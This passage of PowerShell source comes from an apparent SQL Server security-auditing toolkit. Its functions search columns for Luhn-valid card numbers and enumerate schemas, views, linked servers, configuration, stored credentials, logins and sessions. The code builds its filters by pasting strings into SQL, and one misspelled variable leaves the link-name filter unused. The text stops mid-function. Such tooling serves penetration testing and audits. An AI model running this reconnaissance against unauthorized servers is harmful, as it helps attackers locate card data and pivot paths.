                    Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query $Query -SuppressVerbose |
                    Select-Object -ExpandProperty $ColumnName |
                    ForEach-Object -Process {                                                                                                              
                        if($ValidateCC)
                        {
                            # Check if value is CC
                            $Value = 0                                                   
                            if([uint64]::TryParse($_,[ref]$Value))
                            {
                                $LuhnCheck = Test-IsLuhnValid $_ -ErrorAction SilentlyContinue
                            }
                            else
                            {
                                $LuhnCheck = 'False'
                            }

                            # Add record
                            $null = $TblData.Rows.Add($ComputerName, $Instance, $DatabaseName, $SchemaName, $TableName, $ColumnName, $_, $RowCount, $LuhnCheck)                                                                        
                        }
                        else
                        {
                            # Add record
                            $null = $TblData.Rows.Add($ComputerName, $Instance, $DatabaseName, $SchemaName, $TableName, $ColumnName, $_, $RowCount)                                                                        
                        }
                    }
                }                                          
            }
            else
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : - No columns were found that matched the search."
                }
            } 
                
            # Status User
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : END SEARCH DATA BY COLUMN"
            }
        }         

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue                

        return $TblData
    }
}


# ----------------------------------
# Get-SQLDatabaseSchema
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLDatabaseSchema 
{
    <#
            .SYNOPSIS
            Returns schema information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER SchemaName
            Schema name to filter for.
            .PARAMETER NoDefaults
            Only show information for non default databases.
 
            .EXAMPLE
            PS C:\> Get-SQLDatabaseSchema -Instance SQLServer1\STANDARDDEV2014 -DatabaseName testdb
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : testdb
            SchemaName : db_accessadmin
            SchemaOwner : db_accessadmin
            [TRUNCATED]
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLDatabaseSchema -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,               
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database name.')]
        [string]$DatabaseName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Schema name.')]
        [string]$SchemaName,

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't select tables from default databases.")]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblSchemas = New-Object -TypeName System.Data.DataTable

        # Setup schema filter
        if($SchemaName)
        {
            $SchemaNameFilter = " where schema_name like '%$SchemaName%'"
        }
        else
        {
            $SchemaNameFilter = ''
        }
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Setup NoDefault filter
        if($NoDefaults)
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose
        }
        else
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose
        }

        # Get tables for each database
        $TblDatabases | 
        ForEach-Object -Process {
            # Get database name
            $DbName = $_.DatabaseName

            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Grabbing Schemas from the $DbName database..."
            }

            # Define Query
            $Query = " USE $DbName;
                SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                CATALOG_NAME as [DatabaseName],
                SCHEMA_NAME as [SchemaName],
                SCHEMA_OWNER as [SchemaOwner]
                FROM [$DbName].[INFORMATION_SCHEMA].[SCHEMATA]
                $SchemaNameFilter
            ORDER BY SCHEMA_NAME"

            # Execute Query
            $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -SuppressVerbose

            # Append results
            $TblSchemas = $TblSchemas + $TblResults
        }        
    }

    End
    {  
        # Return data
        $TblSchemas          
    }
}


# ----------------------------------
# Get-SQLView
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLView
{
    <#
            .SYNOPSIS
            Returns view information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER ViewName
            View name to filter for.
            .PARAMETER NoDefaults
            Only display results from non default databases.
            .EXAMPLE
            PS C:\> Get-SQLView -Instance SQLServer1\STANDARDDEV2014 -DatabaseName master
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseName : master
            SchemaName : dbo
            ViewName : spt_values
            ViewDefinition :
            create view spt_values as
            select name collate database_default as name,
            number,
            type collate database_default as type,
            low, high, status
            from sys.spt_values
            IsUpdatable : NO
            CheckOption : NONE
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLView -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,               
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database name.')]
        [string]$DatabaseName,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'View name.')]
        [string]$ViewName,

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't select tables from default databases.")]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblViews = New-Object -TypeName System.Data.DataTable
        
        # Setup View filter
        if($ViewName)
        {
            $ViewFilter = " where table_name like '%$ViewName%'"
        }
        else
        {
            $ViewFilter = ''
        }
    }

    Process
    {       
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose -Message "$Instance : Grabbing views from the databases below:"
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Setup NoDefault filter
        if($NoDefaults)
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -NoDefaults -SuppressVerbose
        }
        else
        {
            # Get list of databases
            $TblDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DatabaseName $DatabaseName -HasAccess -SuppressVerbose
        }

        # Get tables for each database
        $TblDatabases | 
        ForEach-Object -Process {
            # Get database name
            $DbName = $_.DatabaseName

            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : - $DbName"
            }

            # Define Query
            $Query = " USE $DbName;
                SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                TABLE_CATALOG as [DatabaseName],
                TABLE_SCHEMA as [SchemaName],
                TABLE_NAME as [ViewName],
                VIEW_DEFINITION as [ViewDefinition],
                IS_UPDATABLE as [IsUpdatable],
                CHECK_OPTION as [CheckOption]
                FROM [INFORMATION_SCHEMA].[VIEWS]
                $ViewFilter
            ORDER BY TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME"

            # Execute Query
            $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

            # Append results
            $TblViews = $TblViews + $TblResults
        }        
    }

    End
    {  
        # Return data
        $TblViews          
    }
}


# ----------------------------------
# Get-SQLServerLink
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLServerLink
{
    <#
            .SYNOPSIS
            Returns link servers from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DatabaseLinkName
            Database link name to filter for.
            .EXAMPLE
            PS C:\> Get-SQLServerLink -Instance SQLServer1\STANDARDDEV2014
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseLinkId : 0
            DatabaseLinkName : SQLServer1\STANDARDDEV2014
            DatabaseLinkLocation : Local
            Product : SQL Server
            Provider : SQLNCLI
            Catalog :
            Local Login : Uses Self Credentials
            RemoteLoginName :
            is_rpc_out_enabled : True
            is_data_access_enabled : False
            modify_date : 3/13/2016 12:30:33 PM
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseLinkId : 1
            DatabaseLinkName : SQLServer2\SQLEXPRESS
            DatabaseLinkLocation : Remote
            Product : SQL Server
            Provider : SQLNCLI
            Catalog :
            Local Login :
            RemoteLoginName : user123
            is_rpc_out_enabled : False
            is_data_access_enabled : True
            modify_date : 5/6/2016 10:20:44 AM
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLServerLink -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server link name.')]
        [string]$DatabaseLinkName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblServerLinks = New-Object -TypeName System.Data.DataTable

        # Setup DatabaseLinkName filter
        if($DatabaseLinkName)
        {
            $VDatabaseLinkNameFilter = " WHERE a.name like '$DatabaseLinkName'"
        }
        else
        {
            $DatabaseLinkNameFilter = ''
        }
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Define Query
        $Query = " SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            a.server_id as [DatabaseLinkId],
            a.name AS [DatabaseLinkName],
            CASE a.Server_id
            WHEN 0
            THEN 'Local'
            ELSE 'Remote'
            END AS [DatabaseLinkLocation],
            a.product as [Product],
            a.provider as [Provider],
            a.catalog as [Catalog],
            'LocalLogin' = CASE b.uses_self_credential
            WHEN 1 THEN 'Uses Self Credentials'
            ELSE c.name
            END,
            b.remote_name AS [RemoteLoginName],
            a.is_rpc_out_enabled,
            a.is_data_access_enabled,
            a.modify_date
            FROM [Master].[sys].[Servers] a
            LEFT JOIN [Master].[sys].[linked_logins] b
            ON a.server_id = b.server_id
            LEFT JOIN [Master].[sys].[server_principals] c
            ON c.principal_id = b.local_principal_id
        $DatabaseLinkNameFilter"

        # Execute Query
        $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

        # Append results
        $TblServerLinks = $TblServerLinks + $TblResults        
    }

    End
    {  
        # Return data
        $TblServerLinks          
    }
}


# ----------------------------------
# Get-SQLServerConfiguration
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLServerConfiguration
{
    <#
            .SYNOPSIS
            Returns configuration information from the server using sp_configure.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .EXAMPLE
            PS C:\> Get-SQLServerConfiguration -Instance SQLServer1\STANDARDDEV2014
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLServerConfiguration -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,    

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Nubmer of hosts to query at one time.')]
        [int]$Threads = 5,   

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )
    Begin
    {
        # Setup data table for output
        $TblCommands = New-Object -TypeName System.Data.DataTable
        $TblResults = New-Object -TypeName System.Data.DataTable
        $null = $TblResults.Columns.Add('ComputerName')
        $null = $TblResults.Columns.Add('Instance')
        $null = $TblResults.Columns.Add('Name')
        $null = $TblResults.Columns.Add('Minimum')
        $null = $TblResults.Columns.Add('Maximum')
        $null = $TblResults.Columns.Add('config_value')
        $null = $TblResults.Columns.Add('run_value')
        

        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        # Ensure provide instance is processed
        if($Instance)
        {
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }
            $PipelineItems = $PipelineItems + $ProvideInstance
        }
    }

    Process
    {      
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_         
    }

    End
    {           
        # Define code to be multi-threaded
        $MyScriptBlock = {
            $Instance = $_.Instance            
            
            # Parse computer name from the instance
            $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

            # Default connection to local default instance
            if(-not $Instance)
            {
                $Instance = $env:COMPUTERNAME
            }

            # Setup DAC string
            if($DAC)
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut
            }
            else
            {
                # Create connection object
                $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut
            }

            # Attempt connection
            try
            {
                # Open connection
                $Connection.Open()                                              

                if(-not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }
               
                # Switch to track advanced options
                $DisableShowAdvancedOptions = 0

                # Get show advance status
                $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value
      
                # Get sysadmin status
                $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin                              

                # Enable show advanced options if needed
                if ($IsShowAdvancedEnabled -eq 1)
                {
                    if(-not $SuppressVerbose)
                    {
                        Write-Verbose -Message "$Instance : Show Advanced Options is already enabled."
                    }
                }
                else
                {
                    if(-not $SuppressVerbose)
                    {
                        Write-Verbose -Message "$Instance : Show Advanced Options is disabled."
                    }

                    if($IsSysadmin -eq 'Yes')
                    {
                        if(-not $SuppressVerbose)
                        {
                            Write-Verbose -Message "$Instance : Your a sysadmin, trying to enabled it."
                        }

                        # Try to enable Show Advanced Options
                        Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

                        # Check if configuration change worked
                        $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value

                        if ($IsShowAdvancedEnabled2 -eq 1)
                        {
                            $DisableShowAdvancedOptions = 1
                            if(-not $SuppressVerbose)
                            {
                                Write-Verbose -Message "$Instance : Enabled Show Advanced Options."
                            }
                        }
                        else
                        {
                            if(-not $SuppressVerbose)
                            {
                                Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting."
                            }
                        }
                    }
                }
                
                # Run sp_confgiure
                Get-SQLQuery -Instance $Instance -Query 'sp_configure' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose |                
                ForEach-Object -Process {
                    $SettingName = $_.name
                    $SettingMin = $_.minimum
                    $SettingMax = $_.maximum
                    $SettingConf_value = $_.config_value
                    $SettingRun_value = $_.run_value

                    $null = $TblResults.Rows.Add($ComputerName, $Instance, $SettingName, $SettingMin, $SettingMax, $SettingConf_value, $SettingRun_value)
                }

                # Restore Show Advanced Options state if needed
                if($DisableShowAdvancedOptions -eq 1 -and $IsSysadmin -eq 'Yes')
                {
                    if(-not $SuppressVerbose)
                    {
                        Write-Verbose -Message "$Instance : Disabling Show Advanced Options"
                    }
                    $Configurations = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
                }

                # Close connection
                $Connection.Close()

                # Dispose connection
                $Connection.Dispose()
            }
            catch
            {
                # Connection failed
                if(-not $SuppressVerbose)
                {
                    $ErrorMessage = $_.Exception.Message
                    Write-Verbose -Message "$Instance : Connection Failed."
                    #Write-Verbose " Error: $ErrorMessage"
                }
            }                              
        }         

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue                

        return $TblResults
    }
}


# ----------------------------------
# Get-SQLServerCredential
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLServerCredential
{
    <#
            .SYNOPSIS
            Returns credentials from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .EXAMPLE
            PS C:\> Get-SQLServerCredential -Instance SQLServer1\STANDARDDEV2014
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            credential_id : 65536
            CredentialName : MyUser
            credential_identity : Domain\MyUser
            create_date : 5/5/2016 11:16:12 PM
            modify_date : 5/5/2016 11:16:12 PM
            target_type :
            target_id :
            [TRUNCATED]
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLServerCredential -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Credential name.')]
        [string]$CredentialName,      

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        $TblCredentials = New-Object -TypeName System.Data.DataTable

        # Setup CredentialName filter
        if($CredentialName)
        {
            $CredentialNameFilter = " WHERE name like '$CredentialName'"
        }
        else
        {
            $CredentialNameFilter = ''
        }
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Define Query
        $Query = " USE master;
            SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            credential_id,
            name as [CredentialName],
            credential_identity,
            create_date,
            modify_date,
            target_type,
            target_id
            FROM [master].[sys].[credentials]
        $CredentialNameFilter"
        
        # Execute Query
        $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

        # Append results
        $TblCredentials = $TblCredentials + $TblResults       
    }

    End
    {  
        # Return data
        $TblCredentials          
    }
}


# ----------------------------------
# Get-SQLServerLogin
# ----------------------------------
Function  Get-SQLServerLogin
{
    <#
            .SYNOPSIS
            Returns logins from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER PrincipalName
            Pincipal name to filter for.
            .EXAMPLE
            PS C:\> Get-SQLServerLogin -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            PrincipalId : 1
            PrincipalName : sa
            PrincipalSid : 1
            PrincipalType : SQL_LOGIN
            CreateDate : 4/8/2003 9:10:35 AM
            IsLocked : 0
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLServerLogin -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Principal name to filter for.')]
        [string]$PrincipalName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblLogins = New-Object -TypeName System.Data.DataTable
        $null = $TblLogins.Columns.Add('ComputerName')
        $null = $TblLogins.Columns.Add('Instance')
        $null = $TblLogins.Columns.Add('PrincipalId')
        $null = $TblLogins.Columns.Add('PrincipalName')
        $null = $TblLogins.Columns.Add('PrincipalSid')
        $null = $TblLogins.Columns.Add('PrincipalType')
        $null = $TblLogins.Columns.Add('CreateDate')
        $null = $TblLogins.Columns.Add('IsLocked')

        # Setup CredentialName filter
        if($PrincipalName)
        {
            $PrincipalNameFilter = " and name like '$PrincipalName'"
        }
        else
        {
            $PrincipalNameFilter = ''
        }
    }

    Process
    {
        # Note: Tables queried by this function typically require sysadmin privileges.

        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Define Query
        $Query = " USE master;
            SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],principal_id as [PrincipalId],
            name as [PrincipalName],
            sid as [PrincipalSid],
            type_desc as [PrincipalType],
            create_date as [CreateDate],
            LOGINPROPERTY ( name , 'IsLocked' ) as [IsLocked]
            FROM [sys].[server_principals]
            WHERE type = 'S' or type = 'U' or type = 'C'
        $PrincipalNameFilter"
        
        # Execute Query
        $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

        # Update sid formatting for each record
        $TblResults |
        ForEach-Object -Process {
            # Format principal sid
            $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
            if ($NewSid.length -le 10)
            {
                $Sid = [Convert]::ToInt32($NewSid,16)
            }
            else
            {
                $Sid = $NewSid
            }

            # Add results to table
            $null = $TblLogins.Rows.Add(
                [string]$_.ComputerName,
                [string]$_.Instance,
                [string]$_.PrincipalId,
                [string]$_.PrincipalName,
                $Sid,
                [string]$_.PrincipalType,
                $_.CreateDate,
            [string]$_.IsLocked)         
        }                        
    }

    End
    {  
        # Return data
        $TblLogins          
    }
}


# ----------------------------------
# Get-SQLSession
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLSession
{
    <#
            .SYNOPSIS
            Returns active sessions from target SQL Servers. Sysadmin privileges is required to view all sessions.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .EXAMPLE
            PS C:\> Get-SQLSession -Instance SQLServer1\STANDARDDEV2014 | Select-Object -First 1
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            PrincipalSid : 010500000000000515000000F3864312345716CC636051C017100000
            PrincipalName : Domain\MyUser
            OriginalPrincipalName : Domain\MyUser
            SessionId : 51
            SessionStartTime : 06/24/2016 09:26:21
            SessionLoginTime : 06/24/2016 09:26:21
            SessionStatus : running
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Get-SQLSession -Verbose
            .EXAMPLE
            PS C:\> (Get-SQLSession -Instance SQLServer1\STANDARDDEV2014).count
            48
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
